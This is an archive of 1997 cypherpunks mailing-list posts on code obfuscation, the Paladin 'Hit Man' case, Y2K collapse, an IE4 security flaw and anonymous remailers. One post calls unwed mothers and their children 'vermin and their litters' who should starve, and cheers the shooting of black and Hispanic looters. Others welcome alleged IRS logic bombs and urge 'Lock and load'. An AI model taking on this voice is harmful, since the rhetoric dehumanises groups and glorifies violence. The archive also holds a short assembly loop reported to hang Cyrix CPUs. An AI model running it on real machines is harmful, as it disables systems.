Message-ID: <97Nov11.112812est.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 28 Oct 1997, Lucky Green wrote:

> 
> Is anyone familiar with tools that can be used to 
> obscure source code so that it builds, but no longer
> contains comments or useful variable or procedure
> names?
> 
> Thanks,
> -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"
> 

Gimpel Software makes C-Shroud (commercial).  They also have a very good
Lint utility.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 12 Nov 1997 00:47:14 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <v03102801b085831fd8a7@[207.167.93.63]>
Message-ID: <97Nov11.113405est.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 4 Nov 1997, Tim May wrote:

> >So, allying yourself with people who would gladly force *your* childen to
> >pray to *their* God doesn't bother you in the least. Fascinating.
> 
> There is no way any proposed laws will force Jewish kids to pray in certain
> forms.
> 
> (I say this not as a defender of the Christian Right, but in the interests
> of truth.)

> Personally, I'd rather see school vouchers, or, even better, a complete
> withdrawal of public funding for schools. Let the Zoroastrians send their
> kids to whatever school they like...and let them pay the freight.

I believe in separation of church and state.  The state must get out of
things like education and welfare (charity) and other things that are not
their responsibility.

The mistake was when the courts ruled that prayer could not occur in
public (government) schools.  The very next day, every government school
should have been closed down (this would also have shown the court that it
should be careful with its rulings).  And society would not have
experienced as much decay as it has. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 04:00:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <1.5.4.32.19971111182816.006cf7f4@pop.pipeline.com>
Message-ID: <v0310280ab08e54b6d633@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:28 AM -0700 11/11/97, John Young wrote:
>Tim May wrote:
>
>>But in many ways, this is good news. The war is coming faster than I thought.
>
>WSJ reports today on the increasing conservatism of the military and
>disputes about the pretense of civilian control, with some officers calling
>for responsible action to compensate for societal breakdown.

Most of ex-military people I know have no desire to intervene in "societal
breakdown" of the sort the media and politicians seeking reelection like to
talk about (e.g., Dan Quayle's comments about "Murphy Brown" some years
back).

(I happen to agree with the sentiments Quayle expressed, that glorifying
single motherhood is a dangerous message to send, one that's been
successfully sent for decades. The vast majority of unmarried women cannot
plausibly raise children and continue to earn a living to pay for their
choices. Maybe "Murphy Brown" can, maybe Madonna can, but Latoya Q. Brown
in the inner city surely cannot. So, the unwed mothers get AFDC, WIC, food
stamps, welfare, etc. I say let the vermin and their litters starve.)

Where the ex-military I know want to intervene is in defending their
regions and towns against outside interference, rioters, black helicopters,
etc.

A friend of mine was an Army Ranger, and he's one of the biggest
stockpilers of armaments I've ever seen.

Many of us cheered the television coverage of Koreans shooting the Hispanic
and black looters in LA. When the next riot comes, gonna be a lot more dead
rioters. My brother, for example, lived 4 miles from the perimeter of the
free fire zone, and he and all of his buddies stocked up on Glocks, SIGs,
and AR-15s right after the riots ended and the gun stores re-opened.

>It cites several examples of military members preparing for war at home,
>as mentioned here earlier by Attila and others, with two Marine writers
>claiming that the next Somolia will be here.
>
>This, coupled with reports on LEA inheritance of military equipment and
>lavish civilian funding to fight terrorism, portends more than Jim Bell
>(Tim May?) -type sniper takeouts.

In the infamous "Twenty-Nine Palms" poll of soldiers, asking if troops
would fire on civilians if ordered to carry out an order, the longer the
soldier had been in the service, the less likely he was to say he would.
(The context of this order is generally believed to be related to a
Department of Defense involvement in the wholesale disarming of the
population under a state of emergency, FEMA or U.N. orders, etc.)

This is consistent with the military retireds I know being _extremely_
anti-government. Usually with a right-wing flavor, but then that is
understandable.

And they're also fed up with the political correctness witch hunt in the
active military. The campaign against "skinheads" being an example. If a
soldier murders someone, black or white or whatever, prosecute them. But
making membership in a political or ethnic group a crime is unworthy of the
United States.

But all too typical.

--TIm May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Wed, 12 Nov 1997 04:14:43 +0800
To: Greg Broiles <emc@wire.insync.net>
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <199711111642.KAA20562@wire.insync.net>
Message-ID: <3.0.1.32.19971111115626.00cf2150@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:56 AM 11/11/97 -0800, Greg Broiles wrote:
>>RICHMOND, Va. (AP) -- Ruling that the right to a free press doesn't
>>cover a how-to-kill book, a federal appeals panel said the families
>>of a hired killer's victims may sue the publisher of a book that he
>>consulted.
>> 
>>A three-judge panel of the 4th U.S. Circuit Court of Appeals denied
>>First Amendment protection to ``Hit Man: A Technical Manual for
>>Independent Contractors,'' saying publisher Paladin Press knew it
>>would be used by murderers.
>
>The decision is online in an incredibly difficult-to-read layout at:
>
><http://www.law.emory.edu/4circuit/nov97/962412.p.html>
>
So this is a reversal of the earlier decision? Looks like this is heading
for the SC...I think the SC will uphold the right to publish it, as this
book in no way falls into the category of 'imminent incitement'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Nov 1997 04:35:05 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <199711111642.KAA20562@wire.insync.net>
Message-ID: <3.0.5.32.19971111115651.03c9c8e0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



>RICHMOND, Va. (AP) -- Ruling that the right to a free press doesn't
>cover a how-to-kill book, a federal appeals panel said the families
>of a hired killer's victims may sue the publisher of a book that he
>consulted.
> 
>A three-judge panel of the 4th U.S. Circuit Court of Appeals denied
>First Amendment protection to ``Hit Man: A Technical Manual for
>Independent Contractors,'' saying publisher Paladin Press knew it
>would be used by murderers.

The decision is online in an incredibly difficult-to-read layout at:

<http://www.law.emory.edu/4circuit/nov97/962412.p.html>

.. I'm working on a more nicely formatted version, but am kinda getting my
ass kicked with things to do today, so that may not be ready until tomorrow. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 04:19:39 +0800
To: Jim Burnes <cypherpunks@Algebra.COM
Subject: The Collapse is Coming
In-Reply-To: <199711110513.VAA13432@sirius.infonex.com>
Message-ID: <v0310280bb08e5a271d61@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:57 PM -0700 11/11/97, Jim Burnes wrote:

>I'm not sure that there is anything they can do about it anyway.  The
>contract to fix the IRS's Y2K problem won't be awarded until October of
>1998 (!!).  That leaves them 8 months until software oblivion to fix the
>problem.  They have an estimated 60 to 80 million lines of code to fix and
>test. (some of the code they don't have source code for, some of it is in
>assembler)
....
>The end result would be an interesting study in complexity and catastrophe
>theory.
>
>For me, I will be on an extended fishing trip somewhere in the Rockies.

Yep, except I plan to be at home, in my compound, with a several-month
supply of food. (I'm on a well, and I have a generator, so a loss of the
grid in the ensuing chaos would not devastate me. Plus, central California
has a pretty mild climate...)

The dumbest thing to do is to pay big bucks, as many are, to be in some
exotic location to celebrate the rollover of the digits (if not the
century, as we all know). Imagine being stranded in Cairo or Machu Piccu
during this meltdown.

>If the system crashes then the joke will be on the megacorps that
>volunteered to fix the thing.  All those US FRN electronic ledger entries
>won't be worth the diskspace that holds them.
>
>Or so it would seem.  As the programmers who work on the system realize
>that it will be impossible to fix the system, they will be buying hard
>assets and leaving the Y2K project like rats from a sinking ship.

The consensus in the survivalist community is that the Y2K problem will
devastate the IRS system, exactly as Jim describes here (and as we
discussed on the list a couple of months ago, mid-September, under the
thread title, "Preparing the Remnant for the far side of the crisis"). Too
many interdependencies, too much old code, not enough time or money to make
the changes, and probably not even enough knowledge about how to go about
it.

All it will take are a few systems failing. Checks arriving late, systems
crashing, a slowdown in an already slow system. (And of course the common
workarounds, such as keeping the computer clock set at 1998 or 1999, will
not work, as many benefits and IRS programs have dependencies on the clock
year, on the ages of taxpayers, on previous year's payments, and on and on.)

The loss of confidence in a highly-automated--but nevertheless
creaky--system will be glorious to watch.


>If any of the federal infrastructure protection specialists are listening
>in on cypherpunks (and we know you are), then maybe you ought to pay some
>real close attention to the things that are the most likely to bring about
>TEOCAWKI (the end of civilization as we know it).  Y2K is much more of a
>threat that the four horseman of the infocalypse.
>

You need to see the _bright side_ of the problem! By undermining the
system,  the changes that are needed will come sooner.

And I think the theory that tax protestors have been sabotaging the system
for decades is probably on target. Obfuscating the code, destroying source
code, inserting logic bombs.


>Something tells me that if the IRS, the FED, Major Banks, US Army C&C,
>GPS Satellites and the Railroad shipments fail within months of each
>other we are not going to be browsing Barnes and Noble on the weekends.

Just remember three words:

Lock and load.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Wed, 12 Nov 1997 03:20:43 +0800
To: cypherpunks@toad.com
Subject: Re: Mix talks about corporate gubmint by-ins
In-Reply-To: <199711110513.VAA13432@sirius.infonex.com>
Message-ID: <Pine.LNX.3.95.971111115613.323B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Sparticus wrote:
> 
> Corporate America Saves the IRS. What a headline. Corporate America wants the IRS to be
> able to survive to tax us all into oblivion, when what they ought to do is turn their
> backs on the IRS, walk away and let them fall in on themselves just like the Soviet Union did.
> If we're lucky, around December 31, 1999, the IRS will crash along with their computer systems.
> 
> Sparticus
> 
> 

I'm not sure that there is anything they can do about it anyway.  The
contract to fix the IRS's Y2K problem won't be awarded until October of
1998 (!!).  That leaves them 8 months until software oblivion to fix the
problem.  They have an estimated 60 to 80 million lines of code to fix and
test. (some of the code they don't have source code for, some of it is in
assembler) 

The Social Insecurity System started their fixes around 1992 and have
averaged (with 400 programmers) 1 millions lines of code debugged and
tested per year for Y2K. 

You do the math.

This wouldn't be a problem if the IRS was a self-contained entity, but we
all know that isn't true.  I've downloaded their request for prime
contractors to fix the thing.  It includes dataflow diagrams for most of
their *known* systems.  Using my PDF viewer I had to zoom 8 times (at
about 2-3x per zoom) to go from the total system view to the point where
individual systems began to resolve.

The interconnectivness between their systems is unbelievable.  From a
security standpoint that means that the weakest link in the chain
determines the viability of the whole system. 

And the IRS's accounting systems are tied into the accounting systems of
every major corporation in the US. 

The Fed, Wall Street, the US Government's Command & Control System and the
obiting GPS sattelite system all have the same problem.  (ohh...and I
forgot to mention the national railroad car routing system -- "where was
that wheat seed destined for?") 

The end result would be an interesting study in complexity and catastrophe
theory. 

For me, I will be on an extended fishing trip somewhere in the Rockies. 

If the system crashes then the joke will be on the megacorps that
volunteered to fix the thing.  All those US FRN electronic ledger entries
won't be worth the diskspace that holds them. 

Or so it would seem.  As the programmers who work on the system realize
that it will be impossible to fix the system, they will be buying hard
assets and leaving the Y2K project like rats from a sinking ship. 

The best thing that congress could do now is (1) chastise the agency for
alleged abuses and push for (2) a simpler tax code that doesn't
necessitate excessive bean counting for the populace and (3) eliminate the
"income" tax and replace it with a VAT tax or preferably (4) get the
several states to pony up a percentage of their sales taxes to the fed -
to be held in escrow every month by the states and forwarded unless the
state has a major gripe.  That would gets the feds attention real quick. 

It would seem they are implementing (1) and (2) already.  Could (3) and/or
(4) be coming?  I can't believe, giving the paranoia of the Feds, that
they are going to take the risk of letting the Y2K destabilize the entire
nation. 

Despite the fact that the people in charge piss me off sometimes I really
like the fact that 7-11's open every morning, that I can pick up a nice
greasy breakfast from Burger King if I wan't and that I can buy a new car
or fly to visit my family or place a long distance telephone call or buy a
new 9 gig HD for my Linux box or any of the 10 thousand cools things that
are available in civilization.

If any of the federal infrastructure protection specialists are listening
in on cypherpunks (and we know you are), then maybe you ought to pay some
real close attention to the things that are the most likely to bring about
TEOCAWKI (the end of civilization as we know it).  Y2K is much more of a
threat that the four horseman of the infocalypse. 

What really worries me is an idea I call "the population carrying capacity
of civilization".  With high technolgy in place the PCC is much greater
than with low technology.  I think thats obvious.  With so much of
civilization (especially the financial sector) depedent on computers, I
think that carrying capacity is about to go way down.  Lets say it goes
down 10% on Jan 1, 2000.  That would be .1*250,000,000 = 25,000,000
(dead/starved/homeless?)

I know I'm probably making a judgement error somewhere.  I'm certainly not
a Christian post-contructionist-millenialist.  I'm not waiting for the
savior to come down and bring us all up to heaven.  I don't savor living
in the wild for longer than my camping trip and am not a "survivalist".

I'd just like to keep getting my greasy Burger King breakfast, browse my
Barnes and Noble on the weekends, have a decent cup of java once in a
while and and enough time for my network feed to upgrade to a 320kbps
xDSL line.

Something tells me that if the IRS, the FED, Major Banks, US Army C&C, 
GPS Satellites and the Railroad shipments fail within months of each
other we are not going to be browsing Barnes and Noble on the weekends.

Jim









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Nov 1997 02:20:40 +0800
To: cypherpunks@cyberpass.net
Subject: IE4 + FOOF = BWAHAHAHAH!
Message-ID: <v03110740b08e4fdbc47d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Resent-Date: Tue, 11 Nov 1997 12:06:00 -0500
From: glen@substance.abuse.blackdown.org
To: 0xdeadbeef@substance.abuse.blackdown.org
Cc: bostic@bsdi.com
Subject: New IE4 security hole discovered.
Date: Tue, 11 Nov 1997 12:05:56 -0500
Sender: glen@shell.ncm.com
Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org> archive/latest/2447
X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
Precedence: list
Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org


what were the opcodes to hang a pentium again? -glen

Forwarded-by: "Per Hammer" <phammer@raleigh.ibm.com>

http://www.wired.com/news/news/technology/story/8429.html

	A new security vulnerability uncovered in Microsoft
	Internet Explorer 4.0 will allegedly allow a malicious
	individual to write a line of HTML on a Web page that
	will execute native code on a user's machine. Such
	code could run, create, or delete a file - or do
	anything a user can do from sitting in front of his
	machine.

Uhm ... "Whops" ? Not that we needed an excuse not to run IE4 anyway, but
hopefully this will further deter the "large corporations", who according
to Microsoft wants to "run IE4 on all platforms" ...

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Tue, 11 Nov 1997 21:30:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Profile of a Spammer, from The Netly News
In-Reply-To: <v03007801b08cf87d482b@[168.161.105.141]>
Message-ID: <slrn66gn2u.t1.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Declan McCullagh wrote:
>   removes e-mail addresses with more than 30 characters "because they
>   upload so slow, and in this business speed is everything."

Ever tried http://www.iks-jena.de/mitarb/lutz/usenet/teergrube.en.html?
Daily statistics at news://news.thur.de/thur.net.admin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: =?iso-latin-de?Q?Heinz-J=FCrgen_Keller?= <hjk@ddorf.rhein-ruhr.de>
Date: Tue, 11 Nov 1997 20:35:10 +0800
To: cypherpunks@cyberpass.net
Subject: Serious bug in Cyrix.IBM,SGS 6x86 CPU
Message-ID: <Pine.LNX.3.96.971111131245.3791B-100000@alien.lummerland.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


There is an article in the latest c't computer magazin about a bug
called 'Hidden CLI' in all the 6x86 CPUs including M2.
As I do not have access to such a CPU I can't verify it.
The code:
          MOV BX,70h
          STI
again:    XCHG AX,[BX]
          MOV DX,AX
          JMP again
The CPU hangs ignoring all interrupts.
Anybody heard about it?
- -------------------------------------------------------------------------------
  Heinz-Juergen Keller  hjk@[mail.]ddorf.rhein-ruhr.de   hjkeller@gmx.[net,de]
  2047bit PGP Public Key : http://www.ddorf.rhein-ruhr.de/~hjk/
  MD5 Fingerprint: 4d33126fbf8c1bcd8e96ba90d99f0bdc
- -------------------------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Requires PGP version 2.6 or later.

iQEVAwUBNGhOxSZWWJBRAP1VAQE3bQf+KjqPXC5TkvHd21xPOHAtBqhB+28tR2gy
hUJ8XHLbtqTIx7RPi82NITuhM0x/diNzXbNsrED5bLGDZ2N/3dvdfAnlC/FetGMQ
8SBYnmbCf5PZyUWBBgC37saWhsXImRoy7S2u2PPxbUpyC/SslWqEzD2kl5EK9wEK
1TOGVdBlPid9yfLtC2/P1L5pMvKfZz2v3lnlifKJyoCFCmq3ZZzgvw9tLe/pDEeS
QHgFokrrlMf4/bNzQnemUWR6L8a6/NMFc6TYJqv7iE13GvKG4gLjLZDBsvyaXLSH
qgOta0rgPWSqPer8AetgIqvENP8iz6YP6jlQyTTm5qGyDSr5miTMHQ==
=MFmw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Nov 1997 02:35:02 +0800
To: cypherpunks@toad.com
Subject: Re: 1st Ammendment Tossed in Paladin Case
Message-ID: <1.5.4.32.19971111182816.006cf7f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>But in many ways, this is good news. The war is coming faster than I thought.

WSJ reports today on the increasing conservatism of the military and
disputes about the pretense of civilian control, with some officers calling
for responsible action to compensate for societal breakdown.

It cites several examples of military members preparing for war at home, 
as mentioned here earlier by Attila and others, with two Marine writers
claiming that the next Somolia will be here.

This, coupled with reports on LEA inheritance of military equipment and
lavish civilian funding to fight terrorism, portends more than Jim Bell 
(Tim May?) -type sniper takeouts.

Free fire zones may be in the offing, or surgical wasting of underground
bunkers and germmakers (troublemakers). Wrathful Mars sees no innocents, 
so preaches the terrorist freedom warfighters pursuing a dream of winner 
take all, so sorry constitutional fundies, we're the warmonger biz.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Nov 1997 05:49:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v03102808b08e34db5a2d@[207.167.93.63]>
Message-ID: <v0310280cb08e6e08c8f3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:34 PM -0700 11/11/97, Robert Hettinga wrote:

>Sheesh.
>
>Remind me not to lock myself up, all alone, with a bunch of live ammo and
>almost no one to talk to but the internet, in an isolated hilltop
   ^^^^^^^^^^^^^^^^^^^^^^

Ad hominem becomes you, Bob.

A variation of the old "get a life" put down of anyone whose opinions one
disagrees with.

>I mean, Tim, I have to admit I'm just as nervous as the next guy about being
>next to soft targets these days, but I almost find myself agreeing with
>other people, people you would respect otherwise, who are saying that you're
>making yourself the greatest friend that Reno and Freeh ever had. A
>vertiable poster boy for statism if there ever was one. And so on.

So we're back to the old "if we won't restrain our opinions, Reno and Freeh
will have to."

I say what I think. Not all of it publically.

Recently I was using my ComSec 3DES phone to talk privately (with one of
those rare persons, according to Bob, that I talk to outside of the Net)
with someone. He sent me later saying, "Nice talking to you this evening
(afternoon, for you) and nice to be able to speak freely. What used to be
taken for granted is now a
luxury. <sigh>"

Truer words were never spoken. Wiretaps, anti-terrorism task forces,
political prisoners in Washington state, Roby Rudge, Ruby Ridge, Waco, bans
on discussion of chemicals and bombs, and on and on.

>I figure the state, particularly the guys who work at the pointy end of the
>bayonet, is kind of like Mongo in "Blazing Saddles": You shouldn't shoot at
>them, because it only makes them mad. Unless, of course, they start shooting
>at you first, and you have no other choice. Which, by the way, *you're* not
>doing, even though you assert the opposite. "Mooning the ogre" of public
>opinion, as Stuart Alsop puts it, and forcing a showdown with people who
>would normally not give a shit about you, isn't going to do you, or anyone
>who agrees with you, any good. It's like spitting on a cop as he walks by
>and then marvelling at his suprising ferocity when he beats you to a bloody
>pulp...

More over the top nonsense from Bob. I've done nothing that will "force a
showdown." Precisely what crimes, Bob, have I committed? Cite a charge.
Even a single one.


>On the other hand, Tim, I suppose, there *is* Bosnia as a prima facie
>counterexample, and I bet that *that* little fandango probably started with
>a bunch of "freedom fighters" like the one you fancy yourself to be these
>days.

More typical Bob Hettinga insult arguments. You ought to form a club with
Kent Crispin, Detweiler, and Vulis.

>Frankly, if that's the model you want to follow, Tim, I would suggest that
>you actually move somewhere where other folks who think like you live
>already, instead of shoving your favorite Mac-10 up the nose of every
>statist treehugger you bump into out there in lotusland. Maybe (ironically)

You want to document a case where I've shoved a Mac-10 up anyone's nose,
let alone a tree hugger?

Or is talking now the same as shoving a gun in someone's nose? (You'd be
surprised how many liberals think this is so, even some judges who just
ruled against Evil Assault Literature.)

>I bet if you go to a place like that, where intellegent people appreciate
>guns and freedom, you won't have to clean the snot off the end of your

Bob, get back on your medications.

>Frankly, I liked Lazarus Long, or even old Farnham himself, a lot better.
>Hell, even a better, more libertarian (Nazi uniforms? Sheesh^2...), remake
>of "Starship Troopers" would be preferrable to the scipt you've written
>yourself.

I don't form or express my opinions to have you like me more than these
fiction characters you're obsessed with.

Get a life, Bob.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Nov 1997 02:56:44 +0800
To: cypherpunks@toad.com
Subject: Senate Hearings on PCCIP
Message-ID: <1.5.4.32.19971111184335.009aa81c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Peter Neumann and David Wagner, we offer
a transcript of Senate hearings on PCCIP, including
statements on encryption:

   http://jya.com/pccip-hear.htm  (71K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 12 Nov 1997 06:18:42 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199711112143.NAA06603@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




John Young wrote:
WSJ reports today on the increasing conservatism of the military and
disputes about the pretense of civilian control, with some officers calling
for responsible action to compensate for societal breakdown.

It cites several examples of military members preparing for war at home, 
as mentioned here earlier by Attila and others, with two Marine writers
claiming that the next Somolia will be here.

This, coupled with reports on LEA inheritance of military equipment and
lavish civilian funding to fight terrorism, portends more than Jim Bell 
(Tim May?) -type sniper takeouts.

Free fire zones may be in the offing, or surgical wasting of underground
bunkers and germmakers (troublemakers). Wrathful Mars sees no innocents, 
so preaches the terrorist freedom warfighters pursuing a dream of winner 
take all, so sorry constitutional fundies, we're the warmonger biz.
----end quote

Evidently they assume a one sided strategy.

Wrathful Mars has little memory of recent history.       





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Wed, 12 Nov 1997 03:12:10 +0800
To: cypherpunks@toad.com
Subject: Re: Databasix conspiracy theories
In-Reply-To: <199711111830.TAA27254@basement.replay.com>
Message-ID: <Pine.LNX.3.94.971111134448.8435V-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



Note that these comments apply primarily to the cracker remailer. 

On Tue, 11 Nov 1997, Anonymous wrote:

> Maybe the next time Gary, Linda, or Paul send a remailer operator a
> complaint, the operator will know what to expect next. 

I did get one complaint from Gary Burnore about stuff being sent directly
to him. He wasn't a jerk about it, and I haven't heard a peep out of him
since.

> thing that's not so random is the high percentage of words that are
> related to DataBasix, such as "DataBasix", "Burnore", and "Wotan".  I'm
> almost waiting for Gary Burnore to give the remailer and mail2news
> operators a "helpful" suggestion that they could curb most of this
> "abuse" by simply blocking any anonymous posts containing any of those
> three keywords. <g> Or perhaps he's done so and politely been turned
> down. 

He's never asked us, at least. Although, when spam-baiting started hot and
heavy this summer, another Databasix employee did suggest that his address
should not appear in posts. I made it quite clear we don't check for
specific names, words, or addresses, and that he was a legitimate topic of
discussion. Never heard back after that, and this was several months ago.

> Perhaps the next wave of attacks on remailers will not consist of
> attempts to shut them down altogether but to progressively cripple them
> by getting certain features disabled, one by one.  This seems to have
> already started.  The strategy seems to be to fabricate a form of
> "abuse", anonymously through remailers, for which the seemingly
> "logical" solution is to disable a certain feature.  This has already
> proven successful with header pasting, for example.  Now you can't post
> to Usenet and set the From: address to that of your own 'nym. 

If you really want the post to have the From: address of your nym, send
the post with your nym and not with the remailer as the last hop. The
point of anonymous remailers is to be anonymous. If you want to use a
psuedonym, use a nymserver.

>  I'm not even certain that you can set a Reply-To: address any more. 

You can at cracker. However, you can't post in From:, Sender:, Received:,
and a couple other "identifying" headers. 

>  If the "camel" can get his nose under the tent and convince operators
> to start filtering on the *CONTENT* of the Subject: line or body of
> usenet posts, the anti-privacy nuts will have scored a major victory. 
> In fact, from reading Jeff Burchell's posts, it looks like Gary and his
> DataBasux-ers had initially convinced Jeff to do exactly that.  But, in
> a symbolic victory for freedom of speech, he removed those filters for a
> week before he finally shut down Huge Cajones altogether. 

Cracker does have a spam-bait mangler which is somewhat simpler than the
scheme Jeff used. In a nutshell, if there are an inordinately large number
of addresses (compared to other text), the addresses are mangled, i.e.,
president@whitehouse.gov becomes president <AT> whitehouse <DOT> gov.
Still human-readable but useless for address harvesters. No posts get
dropped or filtered out under this scheme, and no keywords or particular
addresses are looked for.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Nov 1997 03:10:14 +0800
To: cypherpunks@toad.com
Subject: Re: Matters of Law
Message-ID: <1.5.4.32.19971111190611.0097c150@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>I expect the Paladin Press case will go to the Supreme Court now. I hope it
>does, at least. And it'll be interesting to see if the ACLU supports a
>politically incorrect case like this.

A reminder that the consitutional issues of "Hit Man" and similar cases 
are reviewed in the Department of Justice's April 1997 report to Congress, 

   "The Availability of Bombmaking Information, and the Extent to Which 
   Its Dissemination May Be Subject to Regulation Consistent with the 
   First Amendment to the United States Consitution":

   http://jya.com/abi.htm  (196K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 12 Nov 1997 04:49:19 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
In-Reply-To: <Pine.LNX.3.91.971109133212.1603A-100000@fatmans.demon.co.uk>
Message-ID: <199711112033.PAA04786@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.91.971109133212.1603A-100000@fatmans.demon.co.uk>, on
11/09/97 
   at 01:38 PM, Paul Bradley <paul@fatmans.demon.co.uk> said:



>> usually we ignore people at your level, but we'll try our best for you, as
>> it might be just temorary insanity.

>Anyone have the same suspicions as me as to who is marketing VME, I`ll 
>guess trh same guy (his name escapes me for now) who spent a few weeks on
> the list earlier this year touting his unbreakable encryption scheme 
>based on LCSRs.

>> 2) VME flowchart, algorithms and the VME application itself is already in
>> the hands of the large 250 sotware corporations for evaluation. If any of
>> them will prove otherwise, then you might be able to jump and make an idiot
>> of yourself as you did now.

>Have they actually confirmed they are analyzing it, or have you just sent
> them the information.

>> 4) Try to keep your pathetic self away from the court room, as next time
>> around you will face legal steps for alleging "fraud".

>I`ll make you an offer, sue me for alleging fraud, I say you are a 
